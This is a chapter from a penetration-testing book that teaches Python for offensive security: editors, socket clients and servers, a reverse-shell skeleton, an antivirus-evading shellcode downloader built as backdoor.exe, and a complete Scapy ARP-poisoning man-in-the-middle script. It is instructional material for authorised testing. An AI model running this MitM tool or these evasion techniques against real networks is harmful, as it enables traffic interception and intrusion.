It’s said that computers are actually very dumb; they crunch numbers and move things around in memory. Despite this oversimplification, how they think can seem mysterious. There is no better way to get acquainted with how computers actually think than through programming. Elsewhere in this book, we’ll see programming languages at different scales—assembly language, the machine code made up of mnemonic operation code (opcode) one up from the bottom; C language, the lowest of the high-level languages; and even Python, the high-level interpreted language. Python has a tremendous number of modules in its standard library that allow a penetration tester (pen tester) to accomplish just about any task. In Chapter 2, Bypassing Network Access Control, we showed how easy it is to use Scapy’s functionality in our own Python script to inject specially crafted packets into the network. One way we can advance as pen testers is by learning how to leverage this power in our own custom programs. In this chapter, we’re going to review using Python in a security assessment context. We will cover the following topics:
To complete the exercises in this chapter, you will need the following:
I’ve been asked by many people: Do you need to be a programmer to be a pen tester? This is one of those questions that will spawn a variety of passionate answers from purists of all kinds. Some people say that you can’t be a true hacker without being a skilled programmer. My view is that the definition is less about a specific skill than about comprehension and mentality; hacking is a problem-solving personality and a lifestyle. That said, let’s be honest—your progress will be hampered by a lack of working knowledge in some programming and scripting. Being a pen tester is being a jack of all trades, so we need to have some exposure to a variety of languages, as opposed to a developer who specializes. If we were to pick a minimum requirement on the subject of programming and pen testing, I would tell you to pick up a scripting language. If I had to pick just one scripting language for the security practitioner, I’d pick Python.
What’s the difference between a programming language and a scripting language? To be clear, a scripting language is a programming language, so the difference between them is in the steps taken between coding and execution. A scripting language doesn’t require the compilation step; a script is interpreted by instruction at the time of execution—hence the proper term for such a language is interpreted language. C is an example of a traditional programming language that requires compilation before execution. However, these lines are increasingly blurred. For example, there’s no reason why a C interpreter isn’t possible. Using one would allow you to write C scripts.
Python is an ideal choice for many reasons, but two elements of its design philosophy make it ideal for our goal of becoming an advanced pen tester—its power (it was originally designed to appeal to Unix/C hackers) coupled with its emphasis on readability and reusability. As a professional, you’ll be working with others (don’t plan on the black-hat lone-wolf mentality in this field); Python is one of the few languages where sharing your handy tool with a colleague will likely not result in follow-up what the heck were you thinking? emails to understand your constructs.
Perhaps most importantly, Python is one of those things that you may find on a target embedded well behind the perimeter of your client’s network. You’ve pivoted your way in, and you find yourself on a juicy internal network, but the hosts you land on don’t have the tools you need. It’s surprising how often you’ll find Python installed in such environments. On top of that, you’ll always find a Python-aware text editor on any compromised Linux box. We’ll discuss editors next.
A core concept in Python that makes it the number one choice of hackers is modules. A module is a simple concept, but with powerful implications for the Python programmer. A module is nothing more than a file that contains Python code whose functionality can be brought into your code with the import statement. With this functionality, all attributes (or perhaps a specific attribute) of the module become referenceable in your code. You can also use from [module] import to pick and choose the attributes you need. There is a tremendous number of modules written by clever people from around the world, all ready for you to place in the import search path so that you can bring in any attribute you desire to do some work in your code. The end result? A compact and highly readable chunk of Python that does some tremendous things.
At the time of writing this chapter, Python 3 is the latest and greatest, and anyone still using Python 2 for production tasks is being strongly encouraged to get familiar with Python 3. A handy Python tool called 2to3 will translate your Python 2 into Python 3. We’ll explore configuring your global installation to a specific version for backwards compatibility in Chapter 12, Shellcoding - Evading Antivirus. Now that we’re familiar with the basics, let’s get familiar with the Python editor on Kali.
There are two primary components you’ll use during Python development—the interactive interpreter and the editor. The interpreter is called up with the following simple command:
# python3
The interpreter is exactly what it sounds like—it will interpret Python code on the fly. This is a real time-saver when you’re coding, as you can—for instance—check your formula without closing out the editor and running the code, looking for the line in question.
In this example, we issued print("Hello, world!") and the interpreter simply printed the string. I then tried a formula and messed around with using int() to round the result to the nearest integer. Thus, I experimented with my formula and learned a little about Python without needing to write this out and run it:
It should come as no surprise to learn that most Python coders work on their projects with two screens open—the interpreter and the editor. The interpreter is built into the Python installation; what you get when you punch in python3 and hit Return is what people will use. The editor, on the other hand, can be a personal choice—and once again, opinions in this arena can be passionate!
The editor is just a text editor; technically, a Python file is text. I could write up a Python script with Windows Notepad and it would work fine—but I wouldn’t recommend it (telling people that’s how you code would be a fun way to get weird looks). If it’s just a text editor, what’s the big deal? The main feature you’re looking for in an editor is syntax awareness—the editor understands the language you’re typing in and displays the syntax in a distinctive way for you. It turns text that just happens to be Python into a living piece of code, and it makes your life a lot easier.
The tiniest of errors—such as forgetting a single closing quotation mark—stick out like a sore thumb as the editor tries to understand your syntax. There are several great options for syntax-aware editors; some popular ones are Notepad++, gedit, nano, Kate, and Vim. Now, the more serious developer will probably use an integrated development environment (IDE), which is a more comprehensive solution for understanding what your code is doing, and it also assists in writing the code. An IDE may have a debugger and a class browser, for example, whereas an editor will not. There are many IDEs to choose from, most of them free with commercial versions and supporting a variety of operating systems; a couple of good ones are Wing IDE and PyCharm.
IDEs are cool, but please note that we won’t be working in one for our purposes here. It’s recommended you get familiar with your favorite IDE, but our objective here is minimalism and flexibility. Having a cozy IDE setup is the kind of thing you have on a designated machine, which will be fantastic for writing up a new toolset to carry around with you on your assignments. The context of our discussion here, on the other hand, is writing up Python scripts on a bare-bones machine where having your favorite IDE may not be practical. Being able to get by with just a plain Python install plus an editor is more important than learning an IDE, so I encourage you to master one outside of this book. For now, we’re going to proceed with an editor that’s ready to go on just about any Linux box and should natively understand Python syntax. My choice of editor may cause some readers to literally burn this book with fire, and other readers will cheer. Yes—I’m going to work with Vim.
To get an idea of Vim’s notoriety as an editor, just type this into your favorite search engine: how do I quit Vim?
Vim stands for Vi IMproved because it’s a clone of the original vi editor, but with some changes touted as improvements. To be fair, they are improvements, and it has many—we won’t cover them all here. But there is one key improvement—its native support for scripting languages such as Python. Another improvement comes in handy for those who are just not ready for Vim’s sitting-in-the-cockpit-of-a-space-shuttle feel: the graphical interface version of Vim, known as gVim. The graphical version is still Vim at its core, so feel free to play around with it.
I should probably mention the long and bloody editor war between Emacs and vi/Vim. My choosing Vim for this chapter’s purpose isn’t a statement in this regard. I prefer it as a fast and lightweight tool where text editing with Python syntax discrimination is our primary focus. My favorite description of Emacs is an operating system within an operating system—I think it’s too much editor for our needs here. I encourage the reader to dabble in both of them outside of these pages.
Fire up Vim with this simple command:
# vim
You will see an editor with a splash screen that lets you know how to get right into the help file, as illustrated here:
When you open up any document in Vim (or just start a fresh session), you’re reviewing, not editing. To actually type into a document is called insert mode, which you enable with the i key. You’ll see the word INSERT at the bottom of the screen. Use Esc to exit insert mode. Issuing a command to Vim is done with a colon followed by the specific command—for example, exiting Vim is done with :q followed by Enter. Don’t worry about too much detail at the moment; we’ll step through the basics as we write up our scripts.
Before we write our first handy-for-hacking Python script, let’s get the syntax highlighting turned on and write a quick hello_world program. In Kali, Vim is already able to understand Python syntax; we just have to tell Vim that we’re working with a specific file type. First, start with vim followed by a filename, and then hit : to enter command mode, as illustrated here:
# vim hello_world.py
Then, issue this command, followed by Enter:
:set filetype=python
When you’re ready, hit the i key to enter insert mode. As you type a Python script, the syntax will be highlighted accordingly. Write your Hello, World script, like so:
print("Hello, World!")
Hit Esc to leave insert mode. Then, use :wq! to save your changes and exit Vim in one fell swoop.
Run your program and marvel at your masterpiece. Here it is:
Okay—enough messing around. Let’s do some networking.
A Python script with the right modules can be a mature and powerful network technician. Python has a place in every layer of abstraction you can think of. Do you need just a quick and dirty service to be the frontend for some task such as downloading files? Python has your back. Do you need to get nitty-gritty with low-level protocols, scripting out specific packet manipulation activities nested in conditional logic, chatting with the network at layer 3, and even down to the data-link layer? Python makes this fun and easy. The best part is the portability of any project you can imagine; as I mentioned, you will be functioning on a team as a pen tester, and there are few situations in which you will function all alone. Even if you are on a project where you’re working as a lone wolf, white hats are there to inform the client, and there are no trade secrets or magician’s code, so you may be asked to lay out in understandable terms how the bad guys can get away with your win. Sending some code to someone—whether a skilled colleague or a knowledgeable administrator representing your client—can put a bit of a demand on the recipient when the proof of concept (POC) requires environmental dependencies and lengthy work to put it together in a lab. A Python script, on the other hand, is just a breeze to work with. The most you may need to provide are special modules that aren’t already part of the vast Python community. An area where Python shines is with networking, which is appropriate considering the importance of network tasks for just about any assessment.
Our fun little hello_world program needed nothing more than Python to interpret your sophisticated code. However, you’ve no doubt realized that hello_world doesn’t really serve the pen tester too well. For one, all it does is display an overused cliché. But even if it were handier, there are no imports. In terms of capability, what you see is what you get. Truly unleashing Python happens when we expose capability with modules. If I were to guess what kind of task you’ll be employing the most, I’d guess networking.
There are many options available to the Python coder to make their script chatty with the network. The key to understanding modules in general is by organizing them in terms of layers or levels. Lower-layer modules give you the most power, but they can be difficult to use properly; higher-layer modules allow you to write code that’s more Pythonic by taking care of lower constructs behind the scenes. Anything that works at a higher layer of abstraction can be coded with lower layers, but typically with more lines of code. Take, for example, the socket module. The socket module is a low-level networking module: it exposes the Berkeley Software Distribution (BSD) sockets application programming interface (API). A single import of socket combined with the right code will allow your Python program to do just about anything on the network. If you’re the ambitious type who is hoping to replace—say—Network Mapper (Nmap) with your own Python magic, then I bet the very first line of your code is simply import socket. On the high-level side of things, you have modules such as requests, which allows for highly intuitive HyperText Transfer Protocol (HTTP) interaction. A single line of code with requests imported will put an entire web page into a single manipulable Python object. Not too shabby.
Remember—anything that works at a high level can be built with low-level code and modules; you can’t use high-level modules to do low-level tasks. So, let’s take an example. Using Python in pen testing contexts will make heavy use of socket, so let’s throw together a quick and dirty client. With only 11 lines of code, we can connect and talk to a service, and store its response.
Keep in mind that socket, being low-level, makes calls to socket APIs of the operating system. This may make your script platform-dependent! Now, let’s jump into building our client skeleton.
In our example, I’ve set up an HTTP server in my lab at 192.168.108.229 over the standard port 80. I’m writing up a client that will establish a TCP connection with the target IP address and port, send a specially crafted request, receive a maximum of 4,096 bytes of response, store it in a local variable, and then simply display that variable to the user. I leave it to your imagination to figure out where you could go from here.
The very first line you’ll see in our examples for this chapter is #!/usr/bin/python3. When we used Python scripts earlier in the book, you’ll recall that we used chmod to make the script executable in Linux, and then executed it with ./ (which tells the operating system that the executable is in the current directory instead of in the user’s $PATH). #! is called a shebang (yes—I’m serious), and it tells the script where to find the interpreter. By including that line, you can treat the script as an executable because the interpreter can be found thanks to your shebang line:
Let’s take a look at this simple code piece by piece, as follows:
We wrap it up by just displaying the reply object—the response from the contacted server—but you could do whatever you want to the reply. Also, note that the script ends here, so we don’t see the implications of using sockets—they are typically short-lived entities meant for short conversations, so at this point, the socket would be torn down. Keep this in mind when you work with sockets.
Now, we’re going to set up a simple server. I say simple server, which may make you think something such as an HTTP server with just basic functionality—no; I mean simple. This will simply listen for connections and take an action upon receipt of data. Let’s take a look at the code here:
Note that I’ve brought in a new module: threading. This module is itself a high-level module for interfacing to the thread module (called _thread in Python 3). I recommend that you just import threading if you want to build threading interfaces. I know someone is asking: What's a thread? A thread is just a fancy term for things we’re all familiar with in programming: particular function calls or tasks. When we learn programming, we work with function calls one at a time so that we can understand their structure and function. The concept of threading comes into play when we have some task at work that involves a little waiting—for example, waiting for someone to connect, or perhaps waiting for someone to send us some data. If we’re running a service, we’re waiting to handle connections. But what if everyone went to bed? I might get connections within a second or may be lucky to see a hit after days of waiting. The latter is a familiar scenario for us hackers in lurking: we’ve set a trap and we just need our target to click the link or execute some payload. Threading allows us to manage multiple tasks—threads—at once. Let’s see it in action with our simple server script, as follows:
Here, we see the script in action, handling a connection from a Secure Shell (SSH) client (which identified itself) and then from a netcat-like connection that sent Hello. A Listening on message is displayed right before we fall back into our while True loop, so there’s no fancy way of killing this program outside of Ctrl + C. This program is a skeleton of server functionality. Just throw in your Pythonic magic here and there, and the possibilities are endless.
Okay—so, you’re working your way through a post-exploitation phase. You find yourself on a Linux box with Python installed but nothing else, and you’d like to create a script to be called in certain scenarios that will automatically kick back a shell. Or, perhaps you’re writing a malicious script and you want to return a shell from a Linux target. Whatever the scenario, let’s take a quick look at a Python reverse-shell skeleton, as follows:
Now, we’re pulling in two new modules: os and subprocess. This is where Python’s ability to talk to the operating system shines. The os module is a multipurpose operating system interfacing module. It’s a one-stop shop, even with the peculiarities of a particular operating system—of course, if portability between systems is a concern, be careful with this. The os module is very powerful and is well beyond our discussion here; I encourage you to research it on your own. The subprocess module very commonly goes hand in hand with the os module. It allows your script to spawn processes, grab their return codes for use in your main script, and interact with their input, output, and error pipes. Let’s look at the specifics here:
Now, we kick off our reverse-shell script. Obviously, there needs to be a listener ready to take the connection from our script, so I just fire up nc -l and specify the port we’ve declared in the script. The familiar prompt appears, and I verify that I have the permission of the user who executed our script.
Speaking of smuggling the goods with Python helpers, let’s take a look at evading antimalware software by delivering our malicious code directly into memory from across the network.
We explored antimalware evasion in Chapter 7, Advanced Exploitation with Metasploit. The technique we reviewed involved embedding our payload into the natural flow of execution of an innocuous executable. We also covered encoding techniques to reduce detection signatures. However, there’s more than one way to skin a cat. (Whoever thought of that horrible expression?)
If you’ve ever played defense against real-world attacks, you’ve likely seen a variety of evasion techniques. The techniques often used to be lower-level (for instance, our demonstration with Shellter in Chapter 7, Advanced Exploitation with Metasploit), but detection has improved so much. It’s a lot harder to create a truly undetectable threat that doesn’t at least trigger a suspicious file intercept.
Therefore, modern attacks tend to be a blend of low-level and high-level—using social engineering and technical tactics to get the malware onto the target host through some other channel. I’ve worked on cases where the payload sneaking in via phishing techniques is nothing more than a script that uses local resources to fetch files from the internet. Those files, once retrieved, then put together the malware locally. We’re going to examine such an attack using Python to create a single .exe file with two important tasks, as outlined here:
The Python script itself does very little and, without a malicious payload, it doesn’t have a malicious signature. The payload itself won’t be coming in as a compiled executable as normally expected, but as raw shellcode bytes encoded in base64.
So, in an attack scenario, we’ll have a target Windows box where we put our executable file for execution. Meanwhile, we set up an HTTP server in Kali ready to serve the raw payload to a properly worded request (which will be encoded in the Python script). The script then decodes the payload and plops it into memory. But first, we need to be able to create EXEs out of Python scripts.
There are two components that we need for this—pip, a Python package management utility, and PyInstaller, an awesome utility that reads your Python code, determines exactly what its dependencies are (and that you might take for granted by running it in the Python environment), and generates an EXE file from your script. There is an important limitation to PyInstaller, though—you need to generate an EXE file on the target platform. So, you will need a Windows box to fire this up.
Go Commando with your Windows Box
One of my favorite toys is a Windows PC-turned-offensive platform thanks to the excellent Commando virtual machine (VM) from Mandiant. The simplest way to think of it is Kali for Windows—a pen testing load of the ubiquitous operating system. Instead of a preloaded distribution, it’s essentially a fancy installer that will convert your ordinary Windows machine, downloading everything it needs and tweaking settings for you. You don’t need it for the exercise here, but I will be using it as my offensive Windows environment. I don’t think any pen testing lab is complete without it!
Over at our trusty Windows machine, we have Python installed and ready to go. (You have Python installed and ready to go, right?) So, I pass along this command:
C:> python –m pip install pyinstaller
This will fetch PyInstaller and get it ready for us. It’s a standalone command-line program, not a module, so you can run it from the same prompt with the pyinstaller command.
Once again, we’re revisiting the ever-gorgeous msfvenom. We’re not doing anything new here, but if you’re not coming here from Chapter 7, Advanced Exploitation with Metasploit, I recommend checking out the coverage of msfvenom first. Let’s get started. Have a look at the following screenshot:
Here, we have a quick and simple bind payload; this time, the target will be listening for our connection to spawn a shell. Note that I specified that null bytes should be avoided with --bad-chars, and that instead of generating an EXE file or any other special formatting, the -f raw parameter makes the output format raw: pure machine code in hexadecimal. The end result is 355 bytes, but since I’m not compiling or converting this into anything else, the newly created shellcode.raw file is 355 bytes.
Finally, the last step is creating a payload that will be staged from across the network. We’ll encode the file with base64, for one main reason and a possible side benefit. The main reason is that base64 was designed to allow for easy representation of binary data, and thus it’s not likely to be mangled by some library function that tries to check for corruption or even prevent injection. The possible side benefit, depending on the defenses in place, is rendering the code so that it is harder to detect.
base64 encoding and decoding are built into Kali and available as a module in Python, so we can easily encode base64 on our end and then write our script to quickly decode it before stuffing it into memory, as illustrated here:
A side note about base64: though base64 encoding is fairly popular in some systems as a means of hiding data, it’s merely a different base system and not encryption. Defenders should know to never rely on base64 for confidentiality.
We’ve got our surprise waiting to be opened, but we still need the fetching code—let’s take a look.
Now, let’s get back to Python and write the second phase of our attack. Keep in mind that we’re going to eventually end up with a Windows-specific EXE file, so this script will need to get to your Windows PyInstaller box. You could write it up on Kali and transfer it over, or just write it in Python on Windows to save a step.
Nine lines of code and a 355-byte payload are to be imported. Not too shabby, and a nice demonstration of how lightweight Python can be, as we can see here:
Let’s examine this code step by step, as follows:
In my example, I typed this up in Vim and stored it as backdoor.py. I copy it over to my Windows box and execute PyInstaller, using --onefile to specify that I want a single executable, as follows:
pyinstaller --onefile backdoor.py
PyInstaller spits out backdoor.exe. Now, I just send this file as part of a social engineering campaign to encourage execution. Don’t forget to set up your HTTP server so that target instances of this script can grab the payload! In this screenshot, we can see backdoor.exe grabbing the payload as expected:
Finally, let’s take a look at evasion using this technique. The payload itself set off no alarms during the import. Our executable itself, which is what an endpoint would see and thus is likely to be scanned, was only detected by 7% of antivirus products at the time of writing.
It’s time to take our Python networking to the next level. Let’s review some of our local area network (LAN) antics and get a feel for the low-level possibilities with Scapy.
The romance between Python and Scapy was introduced in the second chapter—hey, I couldn’t wait. As a reminder, Scapy is a packet manipulation tool. We often see especially handy tools described as the Swiss Army knife of a certain task; if that’s the case, then Scapy is a surgical scalpel. It’s also, specifically, a Python program, so we can import its power into our scripts. You could write your own network pen testing tool in Python, and I mean any tool; you could replace Nmap, netcat, p0f, hping, and even something such as arpspoof. Let’s take a look at what it takes to create an Address Resolution Protocol (ARP) poisoning attack tool with Python and Scapy.
Let’s take a look at constructing a layer 2 ARP poisoning attack from the bottom up. As before, the code here is a skeleton; with some clever Python wrapped around it, you have the potential to add a powerful tool to your arsenal. First, we bring in our imports and make some declarations, as follows:
#!/usr/bin/python3
from scapy.all import *
import os
import sys
import threading
import signal
interface = "eth0"
target = "192.168.108.173"
gateway = "192.168.108.1"
packets = 1000
conf.iface = interface
conf.verb = 0
Check out those import statements—all of Scapy’s power. We’re familiar with os and threading, so let’s look at sys and signal. The sys module is always available to us when we’re Pythoning and it allows us to interact with the interpreter—in this case, we’re just using it to exit Python. The signal module lets your script work with signals (in an inter-process communication (IPC) context). Signals are messages sent to processes or threads about an event—an exception or something such as divide by zero. This gives our script the ability to handle signals.
Next, we define our interface, target IP, and gateway IP as strings. The number of packets to be sniffed is declared as an integer. conf belongs to Scapy; we’re setting the interface with the interface variable we just declared, and we’re setting verbosity to 0.
Now, let’s dive into some functions, as follows:
def restore(gateway, gwmac_addr, target, targetmac_addr):
print(" Restoring normal ARP mappings.")
send(ARP(op = 2, psrc = gateway, pdst = target, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gwmac_addr), count = 5)
send(ARP(op = 2, psrc = target, pdst = gateway, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = targetmac_addr), count = 5)
sys.exit(0)
def macgrab(ip_addr):
responses, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip_addr), timeout = 2, retry = 10)
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway, gwmac_addr, target, targetmac_addr):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway
poison_target.pdst = target
poison_target.hwdst = targetmac_addr
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target
poison_gateway.pdst = gateway
poison_gateway.hwdst = gwmac_addr
print(" MitM ARP attack started.")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore(gateway, gwmac_addr, target, targetmac_addr)
return
There’s a lot of information here, so let’s examine these functions more closely, as follows:
This is exciting, but we haven’t even started; we’ve defined these functions, but nothing calls them yet. Let’s get to work with the heavy lifting, as follows:
gwmac_addr = macgrab(gateway)
targetmac_addr = macgrab(target)
if gwmac_addr is None:
print(" Unable to retrieve gateway MAC address. Are you connected?")
sys.exit(0)
else:
print(" Gateway IP address: %s Gateway MAC address: %s " % (gateway, gwmac_addr))
if targetmac_addr is None:
print(" Unable to retrieve target MAC address. Are you connected?")
sys.exit(0)
else:
print(" Target IP address: %s Target MAC address: %s " % (target, targetmac_addr))
mitm_thread = threading.Thread(target = poison_target, args = (gateway, gwmac_addr, target, targetmac_addr))
mitm_thread.start()
try:
print(" MitM sniffing started. Total packets to be sniffed: %d" % packets)
bpf = "ip host %s" % target
cap_packets = sniff(count=packets, filter=bpf, iface=interface)
wrpcap('arpMITMresults.pcap', cap_packets)
restore(gateway, gwmac_addr, target, targetmac_addr)
except KeyboardInterrupt:
restore(gateway, gwmac_addr, target, targetmac_addr)
sys.exit(0)
As you can see, the print statements written in this demonstration are basic. I encourage you to make it prettier to look at.
Don’t Forget to Route
Make sure your system is set up for forwarding packets with sysctl net.ipv4.ip_forward=1.
Use Wireshark or any packet sniffer to verify success. You wrote this from the bottom up, so knowing the targets’ layer 2 and layer 3 addresses is just half the battle—you want to make sure your code is handling them correctly. With ARP, it would be easy to swap a source and destination!
Once I’m done with my session, I can quickly verify that my packet capture was saved as expected. Better yet, open it up in Wireshark and see what your sniffer picked up. Here’s what it found:
It’s so easy, the packet capture writes itself! I leave it to you to figure out how to incorporate these pieces into your own custom toolset.
In this chapter, we ran through a crash course in Python for pen testers. We started with some basics about Python and picking your editor environment. Building on past programming experience and coverage in this book, we laid out code line by line for a few tools that could benefit a pen tester—a simple client, a simple server, and even a payload downloader that was almost completely undetectable by traditional antivirus programs. To wrap up the chapter, we explored low-level network manipulation with Scapy imported as a source library for our program.
Now that we have a solid foundation in Python, we’ll spend the next chapter taking a look at the Windows side of powerful automation and scripting: PowerShell.
Answer the following questions to test your knowledge of this chapter:
For more information regarding the topics that were covered in this chapter, take a look at the following resources:
18.117.190.170